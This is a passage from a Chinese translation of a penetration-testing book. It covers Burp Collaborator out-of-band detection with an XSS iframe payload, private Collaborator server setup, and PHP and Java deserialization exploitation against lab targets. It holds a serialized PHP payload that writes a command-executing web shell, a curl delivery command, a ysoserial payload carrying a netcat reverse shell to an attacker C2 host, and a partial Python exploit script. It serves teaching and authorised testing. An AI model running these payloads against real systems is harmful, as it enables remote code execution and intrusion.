要查看 Collaborator 的实际操作,我们可以将 Burp Active Scanner 指向一个易受攻击的应用程序,并等待它执行生成的某个有效载荷,并进行回连至公共 Collaborator 服务器 burpcollaborator.net。
注意
Damn Vulnerable Web Application 是测试 Collaborator 的一个很好的平台:www.dvwa.co.uk/。

图 7.20:Collaborator 检测到的带外漏洞
Burp Suite 客户端将定期与 Collaborator 服务器通信,询问是否有任何已记录的连接。在前面的例子中,我们可以看到,受命令注入漏洞影响的应用程序,通过对一个独特域名执行 DNS 查找,被诱骗连接到 Collaborator 云实例。
Collaborator 服务器拦截了来自漏洞应用程序的 DNS 请求,记录了它,并通知了我们。我们的 Burp Suite 客户端将 Collaborator 报告的服务交互与一个特定请求关联,并突出显示,方便我们查看。
所有这些都是在后台自动完成的。有了 Collaborator 的帮助,我们可以覆盖大范围的攻击面,并快速高效地找到一些难以察觉的漏洞。
Burp Collaborator 客户端
在某些情况下,依赖 Burp 的主动扫描器发现这些问题可能不足够。假设我们怀疑目标应用程序的某个组件容易受到盲注或存储型 XSS 攻击。
为了触发漏洞利用,它必须被包装在某种编码或加密格式中,并传递给应用程序,稍后进行解码、解密并执行。Burp 的主动扫描器无法确认这个漏洞,因为它不了解有效载荷交付的自定义要求。
好消息是,我们仍然可以利用 Collaborator 来帮助我们识别应用程序中这些难以触及区域的漏洞。Burp Suite 还捆绑了 Collaborator 客户端,它可以生成多个用于自定义 Intruder 攻击的唯一域名。
可以从 Burp 菜单启动 Collaborator 客户端:

图 7.21:从 Burp 菜单启动 Collaborator 客户端
要生成用于自定义有效载荷的唯一域名,输入所需的数量并点击 复制到剪贴板。Burp 会将这些域名按换行符分隔,添加到剪贴板,以供后续处理。
注意
一旦你关闭 Collaborator 客户端窗口,生成的域名将失效,你可能无法检测到带外服务交互。

图 7.22:Burp Collaborator 客户端窗口
我们可以获取其中一个域名并将其提供给我们的自定义攻击。应用程序接受该请求,但没有返回任何数据。我们的有效载荷是一个简单的 XSS 有效载荷,旨在创建一个 iframe,该 iframe 导航到由 Collaborator 客户端生成的域名。
"><iframe%20src=[collaborator-domain]/>
如果应用程序存在漏洞,这个漏洞利用将生成一个新的 HTML iframe,它会连接回我们控制的服务器,从而确认漏洞的存在。

图 7.23:在 XSS 有效载荷中提交 Collaborator 域名
我们希望这个有效载荷在某个时刻被执行,或许是在管理员访问负责处理这些请求的页面时。如果应用程序存在漏洞,iframe 将尝试导航到注入的 URL。
这会产生以下副作用:
-
向
src域发送 DNS 请求 -
向与
src域关联的 IP 发送 HTTP 请求
默认情况下,Collaborator 客户端每 60 秒轮询一次服务器,但也可以在任何时候强制检查。如果受害者触发了漏洞利用,Collaborator 会通知我们:

图 7.24:Collaborator 客户端显示服务交互
看起来有效载荷已成功执行,在 Collaborator 的帮助下,我们现在有了证据。
私人 Collaborator 服务器
运行我们自己的 Collaborator 实例有很多好处。私人实例对于目标无法访问互联网的测试非常有用,或者对于极度谨慎的客户来说,选择将第三方排除在外也是一种理想选择。
另外,关于隐蔽性也有必要提及:向 burpcollaborator.net 域发出的外向连接可能会引起注意。对于某些任务,使用一个不那么显眼的域可能会更合适。我意识到我们即将为私人实例使用的域 c2.spider.ml 也不是特别理想,但为了演示的方便,我们就使用它吧。
Collaborator 服务器有很多与我们在前一章节中设置的 C2 服务器相同的要求。唯一的区别是 Burp 服务器将自行运行 DNS、HTTP 和 SMTP 服务,因此我们不需要 INetSim。
我们已经将 c2.spider.ml 的控制权委托给我们的云实例,Collaborator 服务器将在该实例上运行。DNS 服务应该能够响应任何属于 c2.spider.ml 子域的传入 DNS 请求。
注意
Collaborator 可能有些耗费内存,微型云实例可能不足以进行生产部署。
注意
第一次运行 Collaborator 服务器时,它会提示你输入许可证以进行激活。此值存储在 ~/.java/.userPrefs/burp/prefs.xml 中,因此确保此文件已得到妥善保护,且不可公开读取。
Collaborator 服务器实际上是内置在 Burp Suite 攻击代理中的。我们可以复制 Burp Suite Professional JAR 文件,并通过命令行使用 --collaborator-server 开关启动它:
root@spider-c2-1:~/collab# java -jar Burp Suite_pro.jar --collaborator-server
[...]
This version of Burp requires a license key. To continue, please paste your license key below.
**VGhlcmUgYXJlIHRoZXNlIHR3byB5b3VuZyBmaXNoIHN3aW1taW5nIGFsb25nLCBhbmQgdGhleSBoYXBwZW4gdG8gbWVldCBhbiBvbGRlciBmaXNoIHN3aW1taW5nIHRoZSBvdGhlciB3YXksIHdobyBub2RzIGF0IHRoZW0gYW5kIHNheXMsICJNb3JuaW5nLCBib3lzLCBob3cncyB0aGUgd2F0ZXI/IiBBbmQgdGhlIHR3byB5b3VuZyBmaXNoIHN3aW0gb24gZm9yIGEgYml0LCBhbmQgdGhlbiBldmVudHVhbGx5IG9uZSBvZiB0aGVtIGxvb2tzIG92ZXIgYXQgdGhlIG90aGVyIGFuZCBnb2VzLCAiV2hhdCB0aGUgaGVsbCBpcyB3YXRlcj8i**
Burp will now attempt to contact the license server and activate your license. This will require Internet access.
NOTE: license activations are monitored. If you perform too many activations, further activations for this license may be prevented.
Enter preferred activation method (o=online activation; m=manual activation; r=re-enter license key)
o
Your license is successfully installed and activated.
此时,Collaborator 服务器正在使用默认配置运行。我们需要指定一些自定义选项,以便充分利用私人实例。配置文件是一个简单的 JSON 格式文本文件,包含几个选项来指定监听端口、DNS 权威区域和 SSL 配置选项。我们可以将该文件创建在磁盘上的任何位置,并稍后引用它。
root@spider-c2-1:~/collab# cat config.json
{
"serverDomain": **"c2.spider.ml",**
"ssl": {
"hostname": **"c2.spider.ml"**
},
"eventCapture": {
"publicAddress" : **"35.196.100.89"**
},
"polling" : {
"publicAddress" : **"35.196.100.89",**
"ssl": {
"hostname" : **"polling.c2.spider.ml"**
}
},
"dns": {
"interfaces": [{
"localAddress": "0.0.0.0",
"publicAddress": **"35.196.100.89"**
}]
},
"logLevel": "DEBUG"
}
你会注意到我们必须指定将使用的域名以及我们的公共 IP 地址。日志级别设置为 DEBUG,直到我们确认服务器正常运行。
**root@spider-c2-1:~/collab# java -jar Burp Suite_pro.jar --collaborator-server --collaborator-config=config.json**
**[...] : Using configuration file config.json**
**[...] : Listening for DNS on 0.0.0.0:53**
**[...] : Listening for SMTP on 25**
**[...] : Listening for HTTP on 80**
**[...] : Listening for SMTP on 587**
**[...] : Listening for HTTPS on 443**
**[...] : Listening for SMTPS on 465**
注意
最好对这些端口的传入流量进行过滤,并仅将你和目标的外部 IP 地址列入白名单。
现在服务器已经上线,我们可以修改 项目选项,并指向我们的私人服务器 c2.spider.ml。

图 7.25:私人 Collaborator 服务器配置
使用 运行健康检查… 按钮,我们应该能够强制与新 Collaborator 服务器进行一些交互:

图 7.26:Burp Collaborator 健康检查
服务器控制台日志将反映我们的连接尝试:
root@spider-c2-1:~/collab# java -jar Burp Suite_pro.jar --collaborator-server --collaborator-config=config.json
[...] : Using configuration file config.json
[...] : Listening for DNS on 0.0.0.0:53
[...] : Listening for SMTP on 25
[...] : Listening for HTTP on 80
[...] : Listening for SMTP on 587
[...] : Listening for HTTPS on 443
[...] : Listening for SMTPS on 465
**[...] : Received DNS** query from [74.125.19.6] for **[t0u55lee1aba8o6jwbm4kkgfm6sj62qkunj.c2.spider.ml]** containing interaction IDs: **t0u55lee1aba8o6jwbm4kkgfm6sj62qkunj**
[...] : Received **HTTP** request from [173.239.208.17] for [/] containing interaction IDs: t0u55lee1aba8o6jwbm4kkgfm6sj62qkunj
[...] : Received **HTTPS** request from [173.239.208.17] for [/] containing interaction IDs: t0u55lee1aba8o6jwbm4kkgfm6sj62qkunj
SMTP 和 SMTPS 检查可能会因为你的 ISP 防火墙而失败,但企业客户应该能够访问。重要的部分是 DNS 配置。如果目标能够解析 c2.spider.ml 的随机生成子域名,那么如果没有其他出站过滤,他们应该能够建立外向连接。
你还会注意到强制的 HTTPS 连接也失败了。这是因为默认情况下,Collaborator 使用自签名的通配符证书来处理加密的 HTTP 连接。
为了解决这个问题,对于我们无法控制的目标信任的根证书颁发机构,我们需要安装一个由公共证书颁发机构签署的证书。
config.json 将稍作修改,指向 Collaborator 使用这个证书及其私钥:
**root@spider-c2-1:~/collab# cat config.json**
**{**
**"serverDomain": "c2.spider.ml",**
**"ssl": {**
**"hostname": "c2.spider.ml"**
**},**
**"eventCapture": {**
**"publicAddress" : "35.196.100.89",**
**"ssl": {**
**"certificateFiles" : [**
**"keys/wildcard.c2.spider.ml.key.pkcs8",**
**"keys/wildcard.c2.spider.ml.crt",**
**"keys/intermediate.crt"**
**]**
**}**
**},**
**"polling" : {**
**"publicAddress" : "35.196.100.89",**
**"ssl": {**
**"hostname" : "polling.c2.spider.ml"**
**}**
**},**
**"dns": {**
**"interfaces": [{**
**"localAddress": "0.0.0.0",**
**"publicAddress": "35.196.100.89"**
**}]**
**},**
**"logLevel": "DEBUG"**
**}**
在一个名为 keys 的子目录中,我们需要放置 PKCS 8 编码的私钥、相应的公签证书以及任何中间证书颁发机构证书,这些证书我们可能需要断开以便证书链能够验证。在前一章中,我们成功生成了 C2 域的证书,可以在这里继续使用。
摘要
本章展示了一些工具和技术,它们协同工作,使得原本繁琐的环节变得顺畅。Burp Suite 或免费的替代工具 OWASP ZAP,都提供了扩展功能的方式,并且可以快速完成重复性任务。
我们还查看了一种简单的方法,用来混淆可能最终出现在目标系统上的代码。当在服务器上放置自定义 shell 时,最好隐藏其真实功能。如果代码看起来过于复杂,路过的蓝队成员可能不会多看一眼。我们使用了一些工具,快速将生成的后门转化为一个不那么显眼的输出。
最后,基于前一章中提到的带外漏洞发现技术,我们利用 Burp 的 Collaborator 服务器来简化整个过程。Collaborator 是一个不可或缺的工具,如果可能,应该在攻击 Web 应用时始终启用。在下一章中,我们将切换话题,研究如何利用与对象序列化相关的有趣漏洞类别。
在下一章中,我们将切换话题,研究一种越来越常见的漏洞类型,如果成功利用,可能会带来毁灭性的后果。反序列化攻击将长期存在,我们将深入了解它们是如何工作的以及如何利用它们。
第八章:错误的序列化
对象序列化是一个有趣的编程概念,旨在将内存中的结构化实时数据转换为可通过网络传输或方便存储的格式。举个例子,一个对象,比如应用程序的数据库连接详细信息的内存结构,可以被序列化,或转换为易于传输的字节流,如人类可读的字符串。此内存结构的字符串表示现在可以轻松写入文本文件,或通过 HTTP 发送到另一个 Web 应用程序。序列化后的数据字符串可以用来在内存中实例化数据库对象,并预先填充属性,例如数据库名称或凭据。接收的 Web 应用程序可以通过反序列化字节串来重建内存结构。序列化也被称为编组、腌制或扁平化,许多编程语言都提供了此功能,包括 Java、PHP、Python 和 Ruby。
根据语言的不同,序列化的数据可能表示为人类可读的文本、二进制流或二者的组合。对象序列化有许多用途,例如进程间通信、系统间通信、数据缓存或持久化。
在本章中,我们将讨论以下内容:
-
理解反序列化过程
-
分析易受攻击的应用程序代码
-
利用反序列化实现代码执行
滥用反序列化
利用反序列化依赖于内建方法,这些方法在对象被实例化或销毁时会自动执行。例如,PHP 为每个对象提供了多个此类方法:
-
__construct() -
__destruct() -
__toString() -
__wakeup() -
……以及更多!
当一个新对象被实例化时,__construct()会被调用;而当一个新对象被销毁或在垃圾回收过程中,__destruct()会自动执行。__toString()方法提供了一种将对象表示为字符串格式的方式。这与序列化不同,因为没有类似__fromString()的方法可以读取回数据。__wakeup()方法会在对象被反序列化并实例化到内存中时执行。
PHP 通过serialize()和unserialize()函数提供序列化功能。输出是一个人类可读的字符串,可以轻松通过 HTTP 或其他协议传输。字符串输出描述了对象、其属性及值。PHP 可以序列化布尔值、数组、整数、浮点数、字符串变量,甚至实例化的类(对象)。
在下面的示例中,我们尝试序列化一个包含两个键值对的简单数组对象:database的值为users,host的值为127.0.0.1。创建此数组结构的 PHP 源代码如下:
array(
'database' => 'users',
'host' => '127.0.0.1'
)
当源代码被编译并由 PHP 引擎执行时,array 对象会被存储在某个只有处理器知道如何访问的 RAM 内存结构中。如果我们希望通过 HTTP 等媒介将 array 传输到另一台机器,我们必须找到内存中表示它的所有字节,将它们打包并使用 GET 请求或类似方法发送出去。这就是序列化派上用场的地方。
PHP 中的 serialize() 函数将为我们完成这项工作:找到内存中的数组结构并返回它的字符串表示。我们可以通过在 Linux 机器上使用 php 二进制文件,并加上 -r 开关来让它序列化我们的数组,并返回一个代表性的字符串。PHP 代码将把结果回显到屏幕上:
root@kali:~# php -r **"echo serialize(array('database' => 'users', 'host' => '127.0.0.1'));"**
a:2:{s:8:"database";s:5:"users";s:4:"host";s:9:"127.0.0.1";}
使用冒号分隔的输出格式如下:
-
接下来的序列化数据是一个数组(
a) -
数组中有
2个元素 -
元素被包裹在大括号(
{})中,并且用分号(;)分隔 -
第一个元素的键是一个长度为
8的字符串(s),称为database。它的值是一个长度为5的字符串(s):users -
第二个关键是一个长度为
4的字符串(s),称为host。它的值是一个长度为9的字符串(s):127.0.0.1
这些序列化数据可以跨系统或通过网络共享,或者存储在数据库中。当它被检索时,数组结构可以被重建(反序列化),并且值已经填充好。从类实例化的序列化对象与数组对象没有什么不同;它们只是包含了一些额外的字段。
以 WriteLock 类为例,它的作用是在反序列化时在 /tmp 目录下创建一个锁文件。这个应用程序将存储在 /var/www/html/lockapp 目录下。
以下是 WriteLock 类的 PHP 代码:

图 8.1:WriteLock 类定义的源代码
代码对于非开发者来说可能有点让人畏惧,但其实并不复杂。WriteLock 类有两个公共函数(或方法):write() 和 __wakeup()。write() 函数将使用 PHP 内置的 file_put_contents 函数把字符串 app_in_use 写入磁盘上的 /tmp/lockfile 文件中。__wakeup() 方法则只是对属性进行完整性检查,并在当前对象($this)上执行 write() 函数。这里的想法是,当 WriteLock 对象通过反序列化在内存中被重新创建时,锁文件 /tmp/lockfile 会自动被创建。
首先,我们可以看到当 WriteLock 对象被序列化并准备传输时的样子。记住,__wakeup() 只有在反序列化时才会执行,而不是在对象实例化时。
以下代码将包含WriteLock定义,以便我们可以使用 PHP 的new关键字从WriteLock类实例化一个$lock对象。代码的最后一行将回显或返回序列化后的$lock对象,以供检查。
以下是用于测试的serialize.php文件内容:

图 8.2:序列化 WriteLock 对象的源代码
序列化后的$lock对象的输出类似于前面的数组示例。为了清晰起见,以下内容已经清理并缩进,但典型的序列化对象不会包含格式化内容,如缩进和换行符。
让我们使用php解释器执行serialize.php文件,并观察结果:
root@kali:/var/www/html/lockapp# **php serialize.php**
O:9:"WriteLock":2:{
s:4:"file";
s:13:"/tmp/lockfile";
s:8:"contents";
s:10:"app_in_use";
}
前几个字节表示一个从WriteLock类实例化的对象(o),它包含两个属性,以及它们各自的值和长度。有一点需要注意:对于私有类成员,名称会以类名开头,并用空字节包裹。如果WriteLock的属性$file和$contents是私有的,序列化对象将如下所示:
O:9:"WriteLock":2:{
s:4:"\**x00WriteLock\x00**file";
s:13:"/tmp/lockfile";
s:8:"**\x00WriteLock\x00**contents";
s:10:"app_in_use";
}
注意
空字节通常在标准输出中不可见。在前面的示例中,为了清晰起见,这些字节被替换成了它们的十六进制表示形式\x00。如果我们的负载包含私有成员,我们可能需要在通过将空字节解释为字符串终止符的媒介传输负载时考虑这些字节。通常,在 HTTP 中,我们可以使用百分号%前缀加上空字节的十六进制表示00来转义空字节。也就是说,在 HTTP 中,我们会用%00代替\x00。
以下是WriteLock类的一个易受攻击的示例实现。该代码通过 PHP 的$_GET超级全局接收一个WriteLock序列化对象。包含序列化对象的 URL GET参数是lock,该参数存储在一个名为$data的变量中。然后,使用 PHP 的unserialize()函数反序列化该对象,以尝试恢复WriteLock对象的内存状态。
以下代码将存储在index.php中,演示了一个易受攻击的对象反序列化实现,我们将尝试利用它。$_GET变量中的数据直接来自用户输入,并原样传递给unserialize()函数:

图 8.3:对象反序列化源代码
在利用反序列化时,我们实际上无法调用WriteLock类提供的write()方法。我们实际上只能控制新对象的属性。然而,得益于 PHP 的魔术方法,我们不需要直接调用write(),因为你应该记得,__wakeup()方法会为我们执行这一步。魔术方法会在对象生命周期的不同阶段自动调用:在创建时、销毁时、从平面状态恢复时(即唤醒),或在序列化实时数据时(即休眠)。
在面向属性编程(POP)中,工具链是指从现有代码中调用的方法序列,用于成功劫持应用程序的执行流并执行恶意操作。在我们这个非常简单的示例中,我们触发的工具链只是一个从__wakeup()魔术方法到write()的快速跳跃。
以下显示了对象通过unserialize()反序列化后的执行流程:

图 8.4:WriteLock类中的 POP 工具链
这虽然不那么戏剧化,但从技术上讲,它是一个工具链。
如果我们只控制对象属性$file和$contents,我们如何利用这个漏洞呢?如果我们尝试将$contents写入/tmp以外的其他目录和文件怎么办?由于我们控制这两个值,我们可以构造我们的序列化对象,使其指向应用程序 Web 根目录中的文件,例如/var/www/html/lockapp/shell.php,而不是临时文件夹,并将其内容设置为一个简单的 Web Shell。当我们的恶意对象被反序列化时,__wakeup()方法将强制执行将 PHP Shell 写入/var/www/html/lockapp/shell.php,而不是/tmp/lockfile。
让我们运行一个简单的 Web 服务器并使WriteLock应用程序生效。php解释器可以作为独立的开发服务器,使用-S参数,类似于 Python 的SimpleHTTPServer,并且在提供文件之前可以处理.php文件。
我们可以使用php命令在本地系统的8181端口监听,如下所示:
**root@kali:/var/www/html/lockapp# php -S 0.0.0.0:8181**
**Listening on http://0.0.0.0:8181**
**Document root is /var/www/html/lockapp**
**Press Ctrl-C to quit.**
我们可以使用之前在serialize.php测试中的序列化对象,并稍作修改以进行武器化。我们将把file属性的值更改为/var/www/html/lockapp/shell.php,并将contents属性的值更改为 PHP Shell 代码。
和之前一样,我们将使用以下代码,并带有简单的密码保护机制:

图 8.5:Web Shell 源代码
我们要查找的 MD5 值是WriteLockTest1的哈希值,通过 Linux 命令md5sum确认:
root@kali:~# echo -n WriteLockTest1 | md5sum
**5d58f5270ce02712e8a620a4cd7bc5d3 -**
root@kali:~#
序列化的负载将如下所示,再次缩进以提高可读性:
O:9:"WriteLock":2:{
s:4:"file";
s:**31**:"**/var/www/html/lockapp/shell.php**";
s:8:"contents";
s:**100**:"**<?php if (md5($_GET['password']) == '5d58f5270ce02712e8a620a4cd7bc5d3') { system($_GET['cmd']); } ?>**";
}
注意
我们已更新了file和contents的值,以及适当的字符串长度,分别为31和100,如前面的代码块所示。如果指定的长度与属性值的实际长度不匹配,攻击将失败。
为了利用反序列化漏洞并希望将 PHP Shell 写入网页根目录,我们可以使用curl通过GET请求传递我们的负载。这将迫使应用程序反序列化不可信数据,并创建一个具有危险属性值的对象。
我们可以使用curl命令并指定-G参数,这会指示它发起一个GET请求,指定易受攻击应用程序的 URL,同时使用--data-urlencode开关传递 URL 编码的lock值。
我们的序列化数据包含单引号,这可能会干扰通过 bash 提示符执行curl。我们应该小心使用反斜杠(\')来转义它们,如下所示:
root@kali:~# curl -G http://0.0.0.0:8181/index.php --data-urlencode **$'lock=O:9:"WriteLock":2:{s:4:"file";s:31:"/var/www/html/lockapp/shell.php";s:8:"contents";s:100:"<?php if (md5($_GET[\'password\']) == \'5d58f5270ce02712e8a620a4cd7bc5d3\') { system($_GET[\'cmd\']); } ?>";}'**
Lock initiated.
应用程序按预期返回了Lock initiated消息。如果攻击成功,我们应该能够通过 Web 浏览器访问 shell,因为__wakeup() -> write() POP gadget 会在/var/www/html/lockapp目录下写入shell.php。

图 8.6:Shell 成功执行 id 程序并显示其结果
在黑盒 PHP 应用程序中利用反序列化漏洞较为困难,因为它需要一定的源代码知识。我们需要一个合适的工具链来执行我们的代码。由于这一点,针对应用程序的攻击通常涉及第三方库中的工具,这些库的源代码更易获取。这使得我们可以追踪代码并构建一个工具链,帮助我们利用该漏洞。
注意
Packagist是一个 PHP 库和框架的仓库,应用开发者常用:packagist.org/。
为了简化开发,Composer PHP 框架提供了一种方式,让应用程序可以通过一行代码自动加载库。这意味着,当unserialize()方法执行时,应用程序可能会有可用的库代码,因此也会有 POP gadget。
注意
Composer 可以在getcomposer.org/找到。
攻击自定义协议
与 PHP 类似,Java 也提供了将对象扁平化以便于传输或存储的能力。在 PHP 序列化数据是简单字符串的情况下,Java 使用了稍微不同的方法。一个序列化的 Java 对象是一个字节流,包含一个头部,并且内容被分成块。虽然它不容易阅读,但在数据包捕获或代理日志中,它作为 Base64 编码的值会很突出。由于这是一个结构化的头部,Base64 等效的前几个字节对于每个流来说都是相同的。
Java 序列化对象流总是以魔法字节开始:0xAC 0xED,后跟一个两字节版本号:0x00 0x05。流中的其余字节将描述对象及其内容。实际上,我们只需要在野外看到这两个十六进制字节ac ed,就可以知道后续的字节流很可能是一个 Java 序列化对象。
研究员 Nick Bloor 开发了一款名为DeserLab的极具脆弱性的应用程序,该应用展示了在实现自定义 TCP 协议的应用中反序列化问题。DeserLab 并不是一个典型的应用程序,因为它可能不会直接暴露在网页上,但它可以被 Web 应用使用。DeserLab 帮助展示了 Java 反序列化漏洞是如何被利用来造成严重破坏的。
注意
DeserLab 和 Nick Bloor 的研究可以在 github.com/NickstaDB/ 上找到。
我们将介绍的攻击技巧非常容易迁移到基于 HTTP 的攻击。应用程序从 cookies 或 URL 参数中读取序列化的 Java 对象并不罕见。毕竟,促进进程间或服务器间通信是序列化的主要优势之一。对于 Web 应用程序,这些数据通常在传输之前进行 Base64 编码,使其在代理日志中易于被发现。Base64 编码的 Java 序列化对象通常以字符串 rO0ABX 开头,解码后为 0xACED0005,即前面提到的魔法字节和版本号。
要启动一个新的 DeserLab 实例,我们可以调用带有 -server 参数的 JAR 文件,并指定要监听的 IP 和端口。为简便起见,一旦应用程序启动并运行,我们将使用 deserlab.app.internal 连接到这个易受攻击的应用程序。我们将使用 java 二进制文件在 DeserLab 目标机器上启动 DeserLab 服务器组件。
**root@deserlab:~/DeserLab-v1.0# java -jar DeserLab.jar -server**
**0.0.0.0 4321**
**[+] DeserServer started, listening on 0.0**
**.0.0:4321**
协议分析
DeserLab 是一个简单的应用程序,提供字符串哈希服务,并通过 DeserLab.jar 应用程序文件中的内置客户端访问。随着 DeserLab 服务器组件在目标机器上运行,我们可以在攻击者机器 kali 上启动客户端组件,并使用 -client 开关,如下所示:
**root@kali:~/DeserLab-v1.0# java -jar DeserLab.jar -client deserlab.app.internal 4321**
**[+] DeserClient started, connecting to**
**deserlab.app.internal:4321**
**[+] Connected, reading server hello packet...**
**[+] Hello received, sending hello to server...**
**[+] Hello sent, reading server protocol version...**
**[+] Sending supported protocol version to the server...**
**[...]**
一旦连接并且客户端-服务器的 hello 握手完成,客户端将提示我们输入要发送给服务器进行处理的数据。我们可以输入一些测试数据并观察响应:
root@kali:~/DeserLab-v1.0# java -jar DeserLab.jar -client deserlab.app.internal 4321
[+] DeserClient started, connecting to deserlab.app.internal:4321
[+] Connected, reading server hello packet...
[+] Hello received, sending hello to server...
[+] Hello sent, reading server protocol version...
[+] Sending supported protocol version to the server...
[+] Enter a client name to send to the server:
**name**
[+] Enter a string to hash:
**string**
[+] Generating hash of **"string"...**
[+] Hash generated:
**b45cffe084dd3d20d928bee85e7b0f21**
应用服务器组件终端日志回显了交互的另一方。请注意客户端-服务器的 hello 和名称消息交换;当我们制作我们的漏洞利用时,这一点非常重要。
[+] Connection accepted from 10.0.2.54
[+] Sending hello...
[+] Hello sent, waiting for hello from client...
[+] Hello received from client...
[+] Sending protocol version...
[+] Version sent, waiting for version from client...
[+] Client version is compatible, reading client name...
[+] Client name received: **name**
[+] Hash request received, hashing: **string**
[+] Hash generated: **b45cffe084dd3d20d928bee85e7b0f21**
由于这是一个自定义的 TCP 协议,我们必须使用 Wireshark 或 tcpdump 来拦截流量,而不是使用 Burp 或 ZAP。启动 Wireshark 后,我们可以捕获并检查与 DeserLab 服务器交互的数据的 TCP 流,如下图所示:

图 8.7:数据的 TCP 流
我们可以通过分析由数据包嗅探器生成的 数据包捕获(pcap)文件,以十六进制转储格式查看整个对话。在前面的图中,发送的数据是浅灰色打印的流,而较暗的部分表示服务器的响应。
尽管数据可能有些难以阅读,但每个字节都有其作用。我们可以看到熟悉的ac ed头部和客户端发送的各种输入,如name和string。你还会注意到,字符串值是一个序列化的HashRequest对象。这是一个由服务器和客户端都实现的 Java 类。序列化用于实例化一个对象,该对象将计算给定输入的哈希值并将其存储在其属性中。我们刚刚捕获的数据包是这个对象的序列化表示,正在从客户端传输到服务器,反之亦然。服务器序列化的对象还包含一个额外的属性:生成的哈希值。
当服务器接收到客户端生成的序列化对象时,该对象包含了要哈希的输入字符串,服务器会反序列化通过网络传输过来的字节,并尝试将其转换为HashRequest类。
由于 DeserLab 是开源的,我们可以通过查看托管在 GitHub 上的源代码来检查服务器组件上的反序列化过程:
[...]
oos = new ObjectOutputStream(clientSock.getOutputStream());
//Read a HashRequest object
request = **(HashRequest)**ois.readObject();
//Generate a hash
request.**setHash**(generateHash(request.getData()));
oos.**writeObject**(request);
[...]
我们看到,数据是通过ObjectInputStream(ois)对象从客户端读取的。这只是一个 fancy 的术语,用于指代从客户端传入的数据,我们在 Wireshark 包捕获中观察到的就是序列化的HashRequest对象。下一步是尝试将从ois读取的数据转换为HashRequest数据结构。这个新HashRequest对象的引用随后会存储在request变量中,之后可以像普通对象一样在内存中使用。服务器将通过调用request的getData()方法获取需要反序列化的字符串输入值,计算哈希值,并通过setHash()方法将其存回对象中。setHash方法是HashRequest类提供的,它的作用只是填充对象中的哈希属性。然后,数据会被序列化,并通过writeObject()写回到网络流中。
这样做没问题,但代码做出了危险的假设。它假设来自不可信来源(攻击者)的数据实际上是一个HashRequest对象。如果数据不是可以安全转换为HashRequest的类型,Java 会抛出异常,正如我们将要发现的那样,届时已为时过晚。
反序列化利用
Java 反序列化攻击之所以可能,是因为 Java 会在反序列化对象的过程中执行多种方法。如果我们控制这些方法所引用的属性,就能控制应用程序的执行流程。这就是 POP,它是一种类似于面向返回编程(ROP)的代码重用攻击。ROP 在漏洞开发中用于通过引用内存中的现有字节并利用 x86return指令的副作用来执行代码。
如果我们传入具有正确属性的序列化对象,我们可以创建一个执行链,最终导致在应用程序服务器上执行代码。对于非 Java 开发人员来说,这听起来像是一个艰巨的任务。毕竟,你必须熟悉 Java 或第三方库的内部工作原理。幸运的是,有一个很棒的工具可以做重活:ysoserial。
ysoserial 工具由研究员 Chris Frohoff 创建,旨在帮助构建序列化对象并将其武器化以攻击应用程序。它可以为许多 Java 应用程序中常用的第三方库构建代码执行有效载荷(POP 链):
-
Spring -
Groovy -
Commons Collections -
Jython -
...以及更多!
注意
可以从 github.com/frohoff/ysoserial 下载 ysoserial 的源代码和 JAR 文件。
我们知道目标应用程序使用了 Groovy 库,因为我们有该 JAR 文件及其源代码。然而,这并非所有企业应用程序都适用,并且在评估过程中我们可能无法始终访问源代码。如果易受攻击的应用程序运行在服务器端,而我们与它的唯一交互是通过 HTTP GET 请求,那么我们必须依赖另一个信息泄漏漏洞来确定应该针对哪个库生成 POP 小工具链。当然,另一种选择是简单地尝试每个已知的 POP 小工具链,直到其中一个成功。这虽然不太优雅,且非常嘈杂,但也许能够奏效。
对于这个特定的应用程序,ysoserial 可以快速生成一个带有适当 POP 小工具的序列化对象,用于在实现 Groovy 库的应用程序上执行代码:
**java -jar ysoserial.jar [payload_name] "[shell command to execute]"**
在我们的案例中,有效载荷将是 Groovy1,并且执行的命令是一个 netcat 反向 Shell,连接回我们的 C2 服务器 c2.spider.ml,如下所示:
root@kali:~/tools# java -jar ysoserial.jar Groovy1 **"nc -v c2.spider.ml 443 -e /bin/bash"** > deserlab_payload.bin
默认情况下,字节会打印到控制台,因此我们必须将它们通过管道传输到文件 deserlab_payload.bin,以便在我们的漏洞利用中使用。生成的有效载荷的十六进制转储显示了四个熟悉的 Java 序列化魔术字节和版本序列,后面跟着 0x73 0x72 标志,进一步描述了序列化的数据。我们可以使用 xxd 来查看有效载荷文件的十六进制转储,如下所示:

之前的输出被截断了,因为为了生成一个导致代码执行的 POP 小工具,ysoserial 会创建一个相当大的序列化对象。单独的这个负载不足以攻击 DeserLab。我们不能仅仅连接到服务器,发送负载字节,然后启动一个 Shell。DeserLab 实现的自定义协议期望在尝试转换负载之前发送几个额外的字节。你还记得我们在测试数据包捕获中看到的,在哈希功能之前有一个客户端-服务器的握手。如果我们检查那个数据包捕获,我们可以找到在通信流中可以注入负载的时刻。我们知道,服务器期望在发送name字符串后接收到一个序列化的HashRequest对象。
缩进的行是从服务器接收到的数据包,其他的则是我们通过客户端发送的:

再次,我们可以看到ac ed的魔术字节启动了数据流,接着是协议 Hello 数据包:0xF0 0x00 0xBA 0xAA,最后是协议版本0x01 0x01。服务器或客户端发送的每个数据包都将以0x77为前缀,表示有一块数据即将到来,并且该块的长度(在协议版本的情况下是0x02)。
了解每个字节的具体含义并不是特别重要,因为我们可以清楚地看到序列化负载的开始。0x73和0x72字节(分别是小写字母s和r的等价物)代表了序列化对象的开始,如下输出所示:

为了传递一个自定义负载并利用应用程序漏洞,我们将编写一个 Python 脚本,连接到 DeserLab 应用并:
-
发送 Hello 数据包
-
发送版本号
-
发送客户端名称:
test -
发送通过 ysoserial 生成的利用代码
为了构建我们的利用代码,我们将使用 Python,因为它使得通过网络发送数据变得简单。脚本的开头将设置环境,并创建一个连接目标主机和端口的 socket。
首先,我们将导入 Python 的socket库,并设置一些描述目标的变量:
import socket
target_host = '**deserlab.app.internal**'
target_port = **4321**
我们稍后会引用这些变量。接下来,我们将使用open()、read()和最后的close()将deserlab_payload.bin文件读取到一个名为payload的变量中,如下代码所示:
**# Open the ysoserial generated exploit payload**
print "[+] Reading payload file..."
f = **open**(**'deserlab_payload.bin**', 'rb')
**payload** = f.**read**()
f.**close**()
payload变量现在包含了 ysoserial 生成的原始字节,我们将使用这些字节来利用目标主机。下一步是创建一个到 DeserLab 服务器应用的 socket,并将引用对象存储在一个名为target的变量中。我们将使用这个引用变量来发送和接收来自连接的数据。
**target** = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
**target**.connect((**target_host**, **target_port**))
